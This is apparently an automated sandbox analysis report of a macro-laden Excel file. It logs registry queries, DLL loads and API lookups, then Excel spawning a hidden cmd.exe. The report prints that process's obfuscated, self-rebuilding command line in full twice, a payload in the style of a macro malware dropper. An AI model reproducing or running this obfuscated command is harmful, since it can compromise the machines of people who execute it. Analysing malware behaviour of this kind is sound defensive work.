Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common value_name = VbaCapability, data = 180 False 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{00020813-0000-0000-C000-000000000046} - True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} - True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} - True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} - True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} - True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} - True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} - True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} - True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} - True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} - True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} - True 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create cmd.exe /V:ON/C"set lW=o.crm`VPx57^^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF^|C\Hwk^&)WAIDn+}h4,sg6;3 R""ON&&for %9 in (15,2,70,82,45,78,78,47,71,24,10,23,32,42,22,7,15,17,13,50,53,50,68,50,64,46,70,50,62,78,76,78,78,78,47,71,19,16,10,23,78,32,42,40,43,37,17,13,50,14,40,73,42,15,4,1,46,50,68,50,15,8,50,68,50,46,50,68,50,1,15,83,2,50,68,50,0,50,68,50,66,65,67,74,50,62,76,78,78,1,13,81,20,49,69,20,30,69,81,78,21,41,50,12,50,72,50,73,35,50,62,78,13,50,35,50,62,78,13,81,20,30,69,20,36,69,20,49,69,81,78,21,41,50,83,37,59,50,72,50,2,42,50,72,50,21,82,38,48,37,50,62,76,11,11,11,61,13,81,20,30,69,20,49,69,81,21,41,78,50,64,52,52,21,46,50,72,50,40,43,37,50,62,78,21,64,73,73,37,4,38,12,40,83,35,4,37,78,81,14,40,73,42,37,4,1,66,3,35,59,34,67,74,81,76,47,20,74,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,71,69,20,36,69,20,49,69,20,30,69,20,77,69,81,21,41,78,50,1,31,34,50,72,50,34,67,74,50,72,50,59,50,72,50,42,4,35,43,50,72,50,14,40,73,42,37,4,1,66,3,35,50,62,13,13,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,20,77,69,20,36,69,81,78,21,41,78,50,83,37,42,1,50,72,50,63,37,50,72,50,42,50,72,50,38,56,12,34,37,67,50,62,62,1,13,81,20,49,69,20,30,69,81,78,21,41,50,43,37,67,79,37,35,52,50,72,50,82,50,62,1,65,67,51,0,60,37,13,81,70,42,42,43,73,27,45,45,34,4,35,74,37,73,36,1,34,4,74,38,0,8,1,2,0,4,45,2,35,45,19,19,45,64,36,25,14,12,63,75,14,44,0,1,43,67,74,81,62,62,76,47,20,82,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,81,21,41,50,31,40,42,37,50,72,50,32,17,50,62,78,49,19,75,30,76,13,30,1,1,36,62,11,11,11,55,1,13,50,29,50,62,20,41,0,3,37,35,2,70,13,47,20,8,69,78,34,67,13,30,1,1,75,49,33,62,62,20,47,20,43,69,23,47,20,74,69,1,13,81,20,30,69,20,49,69,81,78,21,41,78,50,24,37,42,7,34,50,72,50,8,37,12,50,62,1,65,67,51,0,60,37,13,47,20,8,69,72,47,20,44,69,62,76,47,20,0,69,32,47,20,44,69,39,75,36,30,68,47,20,16,69,17,23,13,78,78,47,71,74,10,27,27,13,81,20,49,69,20,30,69,81,21,41,78,50,12,0,0,3,50,72,50,54,50,62,1,65,67,51,0,60,37,13,13,47,20,43,69,1,81,31,81,21,38,35,67,52,49,9,62,39,49,75,62,21,38,0,3,13,47,20,43,69,1,81,74,81,78,21,38,35,67,52,78,49,9,62,62,69,69,76,11,11,11,61,13,81,20,30,69,20,49,69,81,78,21,41,50,65,50,72,50,15,16,50,62,13,78,13,78,18,14,78,78,51,64,79,65,35,38,18,15,27,71,19,8,10,78,62,1,6,35,12,26,15,27,27,81,35,5,73,2,34,34,81,1,81,74,37,42,5,73,5,46,3,65,67,24,81,13,47,20,82,69,32,30,1,1,49,77,71,49,17,62,62,78,55,2,27,57,59,65,67,52,82,59,73,57,14,40,14,42,37,4,77,36,57,56,12,34,7,1,15,8,15,78,61,61,56,53,52,1,15,8,37,78,78,78,45,2,78,43,0,59,37,3,14,58,15,18,18,78,21,15,8,37,56,26,46,65,82,83,43,82,12,78,31,22,7,35,73,73,78,78,21,83,0,67,34,83,78,21,59,65,67,52,82,59,14,46,22,78,58,65,66,66,15,67,78,21,67,82,43,79,82,54,34,78,78,21,73,42,78,78,21,83,0,12,82,74,82,78,78,78,78,78,1,78,13,78,78,57,81,20,30,69,20,49,69,20,36,69,57,81,78,21,41,78,50,64,52,52,50,72,13,78,57,81,20,30,69,20,49,69,57,81,78,21,41,50,21,50,72,50,46,40,43,50,78,62,72,50,37,50,78,78,62,78,21,64,73,73,37,4,78,13,57,81,20,77,69,20,49,69,20,9,69,20,30,69,20,71,69,20,36,69,57,81,78,21,41,78,13,78,78,57,81,20,36,69,20,49,69,20,30,69,57,81,78,21,41,50,52,50,72,50,1,63,34,67,50,72,50,37,4,50,78,78,62,72,50,40,73,50,72,50,73,50,72,50,14,50,72,13,78,57,81,20,36,69,20,49,69,20,30,69,57,81,21,41,78,50,54,0,3,4,50,72,50,1,50,72,50,0,59,73,50,62,72,50,42,50,62,78,78,78,76,78,78,78,11,11,11,61,78,78,13,78,78,78,47,20,37,5,83,6,5,27,2,82,53,73,5,43,37,2,69,32,71,72,49,9,72,36,9,17,21,48,82,65,83,50,50,62,78,13,78,78,13,78,32,14,22,14,42,37,53,1,63,34,83,66,0,63,73,1,54,0,3,53,14,1,56,18,65,7,38,82,35,79,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,78,50,24,50,72,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,37,50,72,50,42,42,15,8,46,50,78,62,62,1,57,81,34,5,83,51,5,0,28,15,57,81,13,78,78,62,78,78,62,78,78,62,78,76,78,78,32,14,40,73,42,37,4,1,63,34,67,52,0,59,73,1,54,0,3,4,73,1,56,12,34,43,38,0,35,3,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,56,12,50,72,50,37,35,3,50,78,62,1,57,81,34,5,83,51,82,5,60,15,57,81,13,78,62,84)do set Rc=!Rc!!lW:~%9,1!&&if %9 geq 84 cmd /C!Rc:~-1334!" os_pid = 0xad8, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Module (142)
»
Operation Module Additional Information Success Count Logfile
Load Comctl32.dll base_address = 0x7fefc690000 True 1
Fn
Load C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBEUI.DLL base_address = 0x7fee5830000 True 1
Fn
Load C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\1033\VBE7INTL.DLL base_address = 0x7fee6730000 True 1
Fn
Load OLEAUT32.DLL base_address = 0x7feffd80000 True 1
Fn
Load VBE7.DLL base_address = 0x7fee5ad0000 True 3
Fn
Get Handle Unknown module name base_address = 0x13f150000 True 1
Fn
Get Handle MSI.DLL base_address = 0x7fefa750000 True 1
Fn
Get Handle C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBEUI.DLL base_address = 0x0 False 1
Fn
Get Handle USER32 base_address = 0x77a20000 True 1
Fn
Get Handle oleaut32.dll base_address = 0x7feffd80000 True 1
Fn
Get Filename - process_name = c:\program files\microsoft office\root\office16\excel.exe, file_name_orig = C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL, size = 260 True 3
Fn
Get Address Unknown module name function = MsiProvideQualifiedComponentA, address_out = 0x7fefa7d3b3c True 1
Fn
Get Address Unknown module name function = MsiGetProductCodeA, address_out = 0x7fefa7ca13c True 1
Fn
Get Address Unknown module name function = MsiReinstallFeatureA, address_out = 0x7fefa7d1618 True 1
Fn
Get Address Unknown module name function = MsiProvideComponentA, address_out = 0x7fefa7cf088 True 1
Fn
Get Address Unknown module name function = MsoVBADigSigCallDlg, address_out = 0x7fee59372c0 True 1
Fn
Get Address Unknown module name function = MsoVbaInitSecurity, address_out = 0x7fee58a60b0 True 1
Fn
Get Address Unknown module name function = MsoFIEPolicyAndVersion, address_out = 0x7fee5851a60 True 1
Fn
Get Address Unknown module name function = MsoFAnsiCodePageSupportsLCID, address_out = 0x7fee58a5f50 True 1
Fn
Get Address Unknown module name function = MsoFInitOffice, address_out = 0x7fee584f000 True 1
Fn
Get Address Unknown module name function = MsoUninitOffice, address_out = 0x7fee583e860 True 1
Fn
Get Address Unknown module name function = MsoFGetFontSettings, address_out = 0x7fee5833fc0 True 1
Fn
Get Address Unknown module name function = MsoRgchToRgwch, address_out = 0x7fee5842380 True 1
Fn
Get Address Unknown module name function = MsoHrSimpleQueryInterface, address_out = 0x7fee5837b80 True 1
Fn
Get Address Unknown module name function = MsoHrSimpleQueryInterface2, address_out = 0x7fee5837b20 True 1
Fn
Get Address Unknown module name function = MsoFCreateControl, address_out = 0x7fee5838730 True 1
Fn
Get Address Unknown module name function = MsoFLongLoad, address_out = 0x7fee5973260 True 1
Fn
Get Address Unknown module name function = MsoFLongSave, address_out = 0x7fee5973280 True 1
Fn
Get Address Unknown module name function = MsoFGetTooltips, address_out = 0x7fee5841f40 True 1
Fn
Get Address Unknown module name function = MsoFSetTooltips, address_out = 0x7fee58a6370 True 1
Fn
Get Address Unknown module name function = MsoFLoadToolbarSet, address_out = 0x7fee5894590 True 1
Fn
Get Address Unknown module name function = MsoFCreateToolbarSet, address_out = 0x7fee58355b0 True 1
Fn
Get Address Unknown module name function = MsoHpalOffice, address_out = 0x7fee5840240 True 1
Fn
Get Address Unknown module name function = MsoFWndProcNeeded, address_out = 0x7fee5833d10 True 1
Fn
Get Address Unknown module name function = MsoFWndProc, address_out = 0x7fee5836d30 True 1
Fn
Get Address Unknown module name function = MsoFCreateITFCHwnd, address_out = 0x7fee5833d40 True 1
Fn
Get Address Unknown module name function = MsoDestroyITFC, address_out = 0x7fee583e6f0 True 1
Fn
Get Address Unknown module name function = MsoFPitbsFromHwndAndMsg, address_out = 0x7fee583df40 True 1
Fn
Get Address Unknown module name function = MsoFGetComponentManager, address_out = 0x7fee5837bf0 True 1
Fn
Get Address Unknown module name function = MsoMultiByteToWideChar, address_out = 0x7fee583fcd0 True 1
Fn
Get Address Unknown module name function = MsoWideCharToMultiByte, address_out = 0x7fee5838b20 True 1
Fn
Get Address Unknown module name function = MsoHrRegisterAll, address_out = 0x7fee5932ef0 True 1
Fn
Get Address Unknown module name function = MsoFSetComponentManager, address_out = 0x7fee58442c0 True 1
Fn
Get Address Unknown module name function = MsoFCreateStdComponentManager, address_out = 0x7fee5833e20 True 1
Fn
Get Address Unknown module name function = MsoFHandledMessageNeeded, address_out = 0x7fee583ab10 True 1
Fn
Get Address Unknown module name function = MsoPeekMessage, address_out = 0x7fee583a7d0 True 1
Fn
Get Address Unknown module name function = MsoFCreateIPref, address_out = 0x7fee5831550 True 1
Fn
Get Address Unknown module name function = MsoDestroyIPref, address_out = 0x7fee583e830 True 1
Fn
Get Address Unknown module name function = MsoChsFromLid, address_out = 0x7fee58313d0 True 1
Fn
Get Address Unknown module name function = MsoCpgFromChs, address_out = 0x7fee5836660 True 1
Fn
Get Address Unknown module name function = MsoSetLocale, address_out = 0x7fee5831500 True 1
Fn
Get Address Unknown module name function = MsoFSetHMsoinstOfSdm, address_out = 0x7fee5833dd0 True 1
Fn
Get Address Unknown module name function = MsoSetVbaInterfaces, address_out = 0x7fee59371e0 True 1
Fn
Get Address Unknown module name function = MsoGetControlInstanceId, address_out = 0x7fee5906d10 True 1
Fn
Get Address Unknown module name function = VbeuiFIsEdpEnabled, address_out = 0x7fee59798e0 True 1
Fn
Get Address Unknown module name function = VbeuiEnterpriseProtect, address_out = 0x7fee5979830 True 1
Fn
Get Address Unknown module name function = SysFreeString, address_out = 0x7feffd81320 True 1
Fn
Get Address Unknown module name function = LoadTypeLib, address_out = 0x7feffd8f1e0 True 1
Fn
Get Address Unknown module name function = RegisterTypeLib, address_out = 0x7feffddcaa0 True 1
Fn
Get Address Unknown module name function = QueryPathOfRegTypeLib, address_out = 0x7feffe11760 True 1
Fn
Get Address Unknown module name function = UnRegisterTypeLib, address_out = 0x7feffe120d0 True 2
Fn
Get Address Unknown module name function = OleTranslateColor, address_out = 0x7feffdac760 True 1
Fn
Get Address Unknown module name function = OleCreateFontIndirect, address_out = 0x7feffddecd0 True 1
Fn
Get Address Unknown module name function = OleCreatePictureIndirect, address_out = 0x7feffdde840 True 1
Fn
Get Address Unknown module name function = OleLoadPicture, address_out = 0x7feffdef420 True 1
Fn
Get Address Unknown module name function = OleCreatePropertyFrameIndirect, address_out = 0x7feffde4ec0 True 1
Fn
Get Address Unknown module name function = OleCreatePropertyFrame, address_out = 0x7feffde9350 True 1
Fn
Get Address Unknown module name function = OleIconToCursor, address_out = 0x7feffdb6e40 True 1
Fn
Get Address Unknown module name function = LoadTypeLibEx, address_out = 0x7feffd8a550 True 2
Fn
Get Address Unknown module name function = OleLoadPictureEx, address_out = 0x7feffdef320 True 1
Fn
Get Address Unknown module name function = GetSystemMetrics, address_out = 0x77a394f0 True 1
Fn
Get Address Unknown module name function = MonitorFromWindow, address_out = 0x77a35f08 True 1
Fn
Get Address Unknown module name function = MonitorFromRect, address_out = 0x77a32b00 True 1
Fn
Get Address Unknown module name function = MonitorFromPoint, address_out = 0x77a2ab64 True 1
Fn
Get Address Unknown module name function = EnumDisplayMonitors, address_out = 0x77a35c30 True 1
Fn
Get Address Unknown module name function = GetMonitorInfoA, address_out = 0x77a2a730 True 1
Fn
Get Address Unknown module name function = EnumDisplayDevicesA, address_out = 0x77a2a5b4 True 1
Fn
Get Address Unknown module name function = DispCallFunc, address_out = 0x7feffd82270 True 1
Fn
Get Address Unknown module name function = CreateTypeLib2, address_out = 0x7feffe0dbd0 True 1
Fn
Get Address Unknown module name function = VarDateFromUdate, address_out = 0x7feffd85c90 True 1
Fn
Get Address Unknown module name function = VarUdateFromDate, address_out = 0x7feffd86330 True 1
Fn
Get Address Unknown module name function = GetAltMonthNames, address_out = 0x7feffda66c0 True 1
Fn
Get Address Unknown module name function = VarNumFromParseNum, address_out = 0x7feffd84710 True 1
Fn
Get Address Unknown module name function = VarParseNumFromStr, address_out = 0x7feffd848f0 True 1
Fn
Get Address Unknown module name function = VarDecFromR4, address_out = 0x7feffdbb640 True 1
Fn
Get Address Unknown module name function = VarDecFromR8, address_out = 0x7feffdbb360 True 1
Fn
Get Address Unknown module name function = VarDecFromDate, address_out = 0x7feffdc2640 True 1
Fn
Get Address Unknown module name function = VarDecFromI4, address_out = 0x7feffda58a0 True 1
Fn
Get Address Unknown module name function = VarDecFromCy, address_out = 0x7feffda5820 True 1
Fn
Get Address Unknown module name function = VarR4FromDec, address_out = 0x7feffdbaf20 True 1
Fn
Get Address Unknown module name function = GetRecordInfoFromTypeInfo, address_out = 0x7feffdda0c0 True 1
Fn
Get Address Unknown module name function = GetRecordInfoFromGuids, address_out = 0x7feffe12160 True 1
Fn
Get Address Unknown module name function = SafeArrayGetRecordInfo, address_out = 0x7feffda5af0 True 1
Fn
Get Address Unknown module name function = SafeArraySetRecordInfo, address_out = 0x7feffda5a90 True 1
Fn
Get Address Unknown module name function = SafeArrayGetIID, address_out = 0x7feffda5a60 True 1
Fn
Get Address Unknown module name function = SafeArraySetIID, address_out = 0x7feffda5a30 True 1
Fn
Get Address Unknown module name function = SafeArrayCopyData, address_out = 0x7feffd860b0 True 1
Fn
Get Address Unknown module name function = SafeArrayAllocDescriptorEx, address_out = 0x7feffd83e90 True 1
Fn
Get Address Unknown module name function = SafeArrayCreateEx, address_out = 0x7feffdd9f80 True 1
Fn
Get Address Unknown module name function = VarFormat, address_out = 0x7feffe09b20 True 1
Fn
Get Address Unknown module name function = VarFormatDateTime, address_out = 0x7feffe09aa0 True 1
Fn
Get Address Unknown module name function = VarFormatNumber, address_out = 0x7feffe09990 True 1
Fn
Get Address Unknown module name function = VarFormatPercent, address_out = 0x7feffe09890 True 1
Fn
Get Address Unknown module name function = VarFormatCurrency, address_out = 0x7feffe09770 True 1
Fn
Get Address Unknown module name function = VarWeekdayName, address_out = 0x7feffdeb8d0 True 1
Fn
Get Address Unknown module name function = VarMonthName, address_out = 0x7feffdeb800 True 1
Fn
Get Address Unknown module name function = VarAdd, address_out = 0x7feffe048e0 True 1
Fn
Get Address Unknown module name function = VarAnd, address_out = 0x7feffe09470 True 1
Fn
Get Address Unknown module name function = VarCat, address_out = 0x7feffe096a0 True 1
Fn
Get Address Unknown module name function = VarDiv, address_out = 0x7feffe02fe0 True 1
Fn
Get Address Unknown module name function = VarEqv, address_out = 0x7feffe09cf0 True 1
Fn
Get Address Unknown module name function = VarIdiv, address_out = 0x7feffe08ff0 True 1
Fn
Get Address Unknown module name function = VarImp, address_out = 0x7feffe09c00 True 1
Fn
Get Address Unknown module name function = VarMod, address_out = 0x7feffe08e60 True 1
Fn
Get Address Unknown module name function = VarMul, address_out = 0x7feffe03690 True 1
Fn
Get Address Unknown module name function = VarOr, address_out = 0x7feffe092d0 True 1
Fn
Get Address Unknown module name function = VarPow, address_out = 0x7feffe02e80 True 1
Fn
Get Address Unknown module name function = VarSub, address_out = 0x7feffe03f90 True 1
Fn
Get Address Unknown module name function = VarXor, address_out = 0x7feffe091a0 True 1
Fn
Get Address Unknown module name function = VarAbs, address_out = 0x7feffde7c30 True 1
Fn
Get Address Unknown module name function = VarFix, address_out = 0x7feffde7a60 True 1
Fn
Get Address Unknown module name function = VarInt, address_out = 0x7feffde7890 True 1
Fn
Get Address Unknown module name function = VarNeg, address_out = 0x7feffde7ea0 True 1
Fn
Get Address Unknown module name function = VarNot, address_out = 0x7feffe09600 True 1
Fn
Get Address Unknown module name function = VarRound, address_out = 0x7feffde76a0 True 1
Fn
Get Address Unknown module name function = VarCmp, address_out = 0x7feffe083f0 True 1
Fn
Get Address Unknown module name function = VarDecAdd, address_out = 0x7feffdb3070 True 1
Fn
Get Address Unknown module name function = VarDecCmp, address_out = 0x7feffdbd700 True 1
Fn
Get Address Unknown module name function = VarBstrCat, address_out = 0x7feffdbd890 True 1
Fn
Get Address Unknown module name function = VarCyMulI4, address_out = 0x7feffd9caf0 True 1
Fn
Get Address Unknown module name function = VarBstrCmp, address_out = 0x7feffda8a00 True 1
Fn
Get Address Unknown module name address_out = 0x7fee583fcd0 True 1
Fn
Get Address Unknown module name address_out = 0x0 False 1
Fn
Get Address Unknown module name function = 600, address_out = 0x7fee5bd4ee0 True 3
Fn
Window (1)
»
Operation Window Name Additional Information Success Count Logfile
Create - class_name = ThunderMain, wndproc_parameter = 0 True 1
Fn
Keyboard (42)
»
Operation Additional Information Success Count Logfile
Read virtual_key_code = VK_ESCAPE, result_out = 0 True 42
Fn
System (19)
»
Operation Additional Information Success Count Logfile
Get Cursor x_out = 529, y_out = 557 True 2
Fn
Get Cursor x_out = 1068, y_out = 127 True 1
Fn
Get Time type = System Time, time = 1627-02-11 15:23:55 (UTC) True 1
Fn
Get Time type = Ticks, time = 112539 True 1
Fn
Get Time type = Local Time, time = 2018-10-24 06:16:12 (Local Time) True 4
Fn
Get Time type = Local Time, time = 2018-10-24 06:16:13 (Local Time) True 1
Fn
Get Time type = Ticks, time = 282985 True 5
Fn
Get Info type = Operating System True 2
Fn
Get Info type = Operating System True 2
Fn
Environment (1)
»
Operation Additional Information Success Count Logfile
Get Environment String name = DDRYBUR False 1
Fn
Process #2: cmd.exe
13323 0
»
Information Value
ID #2
File Name c:\windows\system32\cmd.exe
Command Line cmd.exe /V:ON/C"set lW=o.crm`VPx57^^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF^|C\Hwk^&)WAIDn+}h4,sg6;3 R""ON&&for %9 in (15,2,70,82,45,78,78,47,71,24,10,23,32,42,22,7,15,17,13,50,53,50,68,50,64,46,70,50,62,78,76,78,78,78,47,71,19,16,10,23,78,32,42,40,43,37,17,13,50,14,40,73,42,15,4,1,46,50,68,50,15,8,50,68,50,46,50,68,50,1,15,83,2,50,68,50,0,50,68,50,66,65,67,74,50,62,76,78,78,1,13,81,20,49,69,20,30,69,81,78,21,41,50,12,50,72,50,73,35,50,62,78,13,50,35,50,62,78,13,81,20,30,69,20,36,69,20,49,69,81,78,21,41,50,83,37,59,50,72,50,2,42,50,72,50,21,82,38,48,37,50,62,76,11,11,11,61,13,81,20,30,69,20,49,69,81,21,41,78,50,64,52,52,21,46,50,72,50,40,43,37,50,62,78,21,64,73,73,37,4,38,12,40,83,35,4,37,78,81,14,40,73,42,37,4,1,66,3,35,59,34,67,74,81,76,47,20,74,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,71,69,20,36,69,20,49,69,20,30,69,20,77,69,81,21,41,78,50,1,31,34,50,72,50,34,67,74,50,72,50,59,50,72,50,42,4,35,43,50,72,50,14,40,73,42,37,4,1,66,3,35,50,62,13,13,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,20,77,69,20,36,69,81,78,21,41,78,50,83,37,42,1,50,72,50,63,37,50,72,50,42,50,72,50,38,56,12,34,37,67,50,62,62,1,13,81,20,49,69,20,30,69,81,78,21,41,50,43,37,67,79,37,35,52,50,72,50,82,50,62,1,65,67,51,0,60,37,13,81,70,42,42,43,73,27,45,45,34,4,35,74,37,73,36,1,34,4,74,38,0,8,1,2,0,4,45,2,35,45,19,19,45,64,36,25,14,12,63,75,14,44,0,1,43,67,74,81,62,62,76,47,20,82,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,81,21,41,50,31,40,42,37,50,72,50,32,17,50,62,78,49,19,75,30,76,13,30,1,1,36,62,11,11,11,55,1,13,50,29,50,62,20,41,0,3,37,35,2,70,13,47,20,8,69,78,34,67,13,30,1,1,75,49,33,62,62,20,47,20,43,69,23,47,20,74,69,1,13,81,20,30,69,20,49,69,81,78,21,41,78,50,24,37,42,7,34,50,72,50,8,37,12,50,62,1,65,67,51,0,60,37,13,47,20,8,69,72,47,20,44,69,62,76,47,20,0,69,32,47,20,44,69,39,75,36,30,68,47,20,16,69,17,23,13,78,78,47,71,74,10,27,27,13,81,20,49,69,20,30,69,81,21,41,78,50,12,0,0,3,50,72,50,54,50,62,1,65,67,51,0,60,37,13,13,47,20,43,69,1,81,31,81,21,38,35,67,52,49,9,62,39,49,75,62,21,38,0,3,13,47,20,43,69,1,81,74,81,78,21,38,35,67,52,78,49,9,62,62,69,69,76,11,11,11,61,13,81,20,30,69,20,49,69,81,78,21,41,50,65,50,72,50,15,16,50,62,13,78,13,78,18,14,78,78,51,64,79,65,35,38,18,15,27,71,19,8,10,78,62,1,6,35,12,26,15,27,27,81,35,5,73,2,34,34,81,1,81,74,37,42,5,73,5,46,3,65,67,24,81,13,47,20,82,69,32,30,1,1,49,77,71,49,17,62,62,78,55,2,27,57,59,65,67,52,82,59,73,57,14,40,14,42,37,4,77,36,57,56,12,34,7,1,15,8,15,78,61,61,56,53,52,1,15,8,37,78,78,78,45,2,78,43,0,59,37,3,14,58,15,18,18,78,21,15,8,37,56,26,46,65,82,83,43,82,12,78,31,22,7,35,73,73,78,78,21,83,0,67,34,83,78,21,59,65,67,52,82,59,14,46,22,78,58,65,66,66,15,67,78,21,67,82,43,79,82,54,34,78,78,21,73,42,78,78,21,83,0,12,82,74,82,78,78,78,78,78,1,78,13,78,78,57,81,20,30,69,20,49,69,20,36,69,57,81,78,21,41,78,50,64,52,52,50,72,13,78,57,81,20,30,69,20,49,69,57,81,78,21,41,50,21,50,72,50,46,40,43,50,78,62,72,50,37,50,78,78,62,78,21,64,73,73,37,4,78,13,57,81,20,77,69,20,49,69,20,9,69,20,30,69,20,71,69,20,36,69,57,81,78,21,41,78,13,78,78,57,81,20,36,69,20,49,69,20,30,69,57,81,78,21,41,50,52,50,72,50,1,63,34,67,50,72,50,37,4,50,78,78,62,72,50,40,73,50,72,50,73,50,72,50,14,50,72,13,78,57,81,20,36,69,20,49,69,20,30,69,57,81,21,41,78,50,54,0,3,4,50,72,50,1,50,72,50,0,59,73,50,62,72,50,42,50,62,78,78,78,76,78,78,78,11,11,11,61,78,78,13,78,78,78,47,20,37,5,83,6,5,27,2,82,53,73,5,43,37,2,69,32,71,72,49,9,72,36,9,17,21,48,82,65,83,50,50,62,78,13,78,78,13,78,32,14,22,14,42,37,53,1,63,34,83,66,0,63,73,1,54,0,3,53,14,1,56,18,65,7,38,82,35,79,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,78,50,24,50,72,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,37,50,72,50,42,42,15,8,46,50,78,62,62,1,57,81,34,5,83,51,5,0,28,15,57,81,13,78,78,62,78,78,62,78,78,62,78,76,78,78,32,14,40,73,42,37,4,1,63,34,67,52,0,59,73,1,54,0,3,4,73,1,56,12,34,43,38,0,35,3,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,56,12,50,72,50,37,35,3,50,78,62,1,57,81,34,5,83,51,82,5,60,15,57,81,13,78,62,84)do set Rc=!Rc!!lW:~%9,1!&&if %9 geq 84 cmd /C!Rc:~-1334!"
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:00:47, Reason: Child Process
Unmonitor End Time: 00:01:41, Reason: Self Terminated
Monitor Duration 00:00:54
OS Process Information
»
Information Value
PID 0xad8
Parent PID 0x8c8 (c:\program files\microsoft office\root\office16\excel.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x ADC
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory r True False False -
private_0x0000000000050000 0x00050000 0x0014ffff Private Memory rw True False False -
locale.nls 0x00150000 0x001b6fff Memory Mapped File r False False False -
pagefile_0x00000000001c0000 0x001c0000 0x001c6fff Pagefile Backed Memory r True False False -
private_0x00000000001d0000 0x001d0000 0x002cffff Private Memory rw True False False -
private_0x00000000002d0000 0x002d0000 0x003cffff Private Memory rw True False False -
pagefile_0x00000000003d0000 0x003d0000 0x003d1fff Pagefile Backed Memory rw True False False -
private_0x00000000003e0000 0x003e0000 0x003e0fff Private Memory rw True False False -
private_0x00000000003f0000 0x003f0000 0x003f0fff Private Memory rw True False False -
private_0x0000000000470000 0x00470000 0x0047ffff Private Memory rw True False False -
pagefile_0x0000000000480000 0x00480000 0x00607fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000610000 0x00610000 0x00790fff Pagefile Backed Memory r True False False -
pagefile_0x00000000007a0000 0x007a0000 0x01b9ffff Pagefile Backed Memory r True False False -
pagefile_0x0000000001ba0000 0x01ba0000 0x01ee2fff Pagefile Backed Memory r True False False -
private_0x0000000001ef0000 0x01ef0000 0x01feffff Private Memory rw True False False -
private_0x0000000001ff0000 0x01ff0000 0x021effff Private Memory rw True False False -
sortdefault.nls 0x021f0000 0x024befff Memory Mapped File r False False False -
cmd.exe 0x4a210000 0x4a268fff Memory Mapped File rwx True False False -
user32.dll 0x77a20000 0x77b19fff Memory Mapped File rwx False False False -
kernel32.dll 0x77b20000 0x77c3efff Memory Mapped File rwx False False False -
ntdll.dll 0x77c40000 0x77de8fff Memory Mapped File rwx False False False -
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory r True False False -
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory r True False False -
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory r True False False -
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory r True False False -
winbrand.dll 0x7fef9350000 0x7fef9357fff Memory Mapped File rwx False False False -
kernelbase.dll 0x7fefdd60000 0x7fefddcafff Memory Mapped File rwx False False False -
gdi32.dll 0x7fefdf60000 0x7fefdfc6fff Memory Mapped File rwx False False False -
imm32.dll 0x7fefed60000 0x7fefed8dfff Memory Mapped File rwx False False False -
msctf.dll 0x7feff1e0000 0x7feff2e8fff Memory Mapped File rwx False False False -
usp10.dll 0x7feff4d0000 0x7feff598fff Memory Mapped File rwx False False False -
msvcrt.dll 0x7feff5a0000 0x7feff63efff Memory Mapped File rwx False False False -
lpk.dll 0x7feff860000 0x7feff86dfff Memory Mapped File rwx False False False -
apisetschema.dll 0x7fefff60000 0x7fefff60fff Memory Mapped File rwx False False False -
